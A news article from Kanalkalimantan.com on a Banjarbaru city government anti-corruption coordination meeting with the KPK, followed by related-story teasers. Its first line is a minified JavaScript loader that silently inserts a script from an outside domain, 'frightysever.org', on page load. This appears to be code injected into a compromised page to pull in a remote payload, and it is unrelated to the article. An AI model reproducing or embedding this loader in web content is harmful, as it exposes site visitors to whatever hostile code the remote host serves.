(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, BANJARBARU – Pemerintah Kota Banjarbaru menyelenggarakan rapat koordinasi pemberantasan korupsi dan pemantauan program pencegahan korupsi.
Rapat berlangsung di aula Gawi Sabarataan Balai Kota Banjarbaru bertujuan untuk meningkatkan transparansi, akuntabilitas, dan efektivitas upaya memerangi korupsi, Rabu (2/8/2023), diikuti Wali Kota Banjarbaru HM Aditya Mufti Ariffin, Wakil Wali Kota Banjarbaru Wartono, Sekretaris Daerah Kota Banjarbaru Said Abdullah.
Memperkuat sinergi dan kolaborasi antar SKPD (Satuan Kerja Perangkat Daerah) dalam memerangi korupsi serta memantau efektivitas program pencegahan korupsi.
Wali Kota Aditya berharap dengan upaya pencegahan korupsi di Kota Banjarbaru akan mendorong pertumbuhan ekonomi semakin meningkat secara berkelanjutan.
Baca juga: Abdul Latif Tak Pernah Lapor Harta Kekayaan saat Jadi Bupati HST
Dengan pemberantasan korupsi yang efektif, investasi diharapkan semakin menarik, pelaku usaha lebih percaya berinvestasi, dan masyarakat dapat merasakan manfaat dari adanya lingkungan bisnis yang bersih dan transparan.
“Pemerintahan yang berhasil memberantas korupsi akan mampu memanfaatkan anggaran secara optimal, menghasilkan proyek-proyek strategis, serta program-program pembangunan yang berdampak positif bagi kota dan warganya,” ujarnya.
Dengan demikian, terbuka peluang bagi Banjarbaru untuk menjadi pusat pertumbuhan ekonomi yang berkelanjutan dan mampu meningkatkan kualitas hidup seluruh warganya.
Baca juga: Turdes 2023 Paman Birin, Lintas 13 Kabupaten Kota se Kalsel dalam Enam Hari
Sementara itu, Plh Direktur Koordinator dan Supervisi Wilayah III KPK menyampaikan materi mengenai pemberantasan korupsi dengan sistem Monitoring Center Prevention (MCP).
Dia menguraikan secara rinci tentang bagaimana MCP menjadi salah satu instrumen yang efektif dalam menanggulangi korupsi di berbagai sektor pemerintahan dan masyarakat.
Pada rapat koordinasi yang berlangsung, tidak hanya melibatkan para pejabat SKPD secara pasif, tetapi juga memberikan kesempatan bagi mereka untuk berpartisipasi aktif dalam diskusi tanya jawab dengan KPK. (Kanalkalimantan.com/bie)
Reporter : bie
Editor : kk
KANALKALIMANTAN.COM, BANJARBARU - Aktivitas peternakan babi di Kota Banjarbaru kembali menjadi sorotan. Selain dikeluhkan atas… Read More
KANALKALIMANTAN.COM.COM, BANJARMASIN - Kepolisian Reskrim Polsek Banjarmasin Barat dan tim gabungan berhasil menangkap ARM (21),… Read More
KANALKALIMANTAN.COM, BANJARBARU - Puluhan peternak babi di Jalan Pandarapan RT 34 RW 5, Kelurahan Guntung… Read More
KANALKALIMANTAN.COM, BANJARBARU – Sebanyak 21 kepala keluarga (KK) pemilik peternakan babi di Jalan Pandarapan RT… Read More
KANALKALIMANTAN.COM, KUALA KAPUAS - Warga Desa Penda Ketapi, Kecamatan Kapuas Barat, Kabupaten Kapuas, Kalteng, menggelar… Read More
KANALKALIMANTAN.COM, AMUNTAI - Satgas TNI Manunggal Membangun Desa (TMMD) menggelar sosialisasi penyuluhan kesehatan masyarakat di… Read More
This website uses cookies.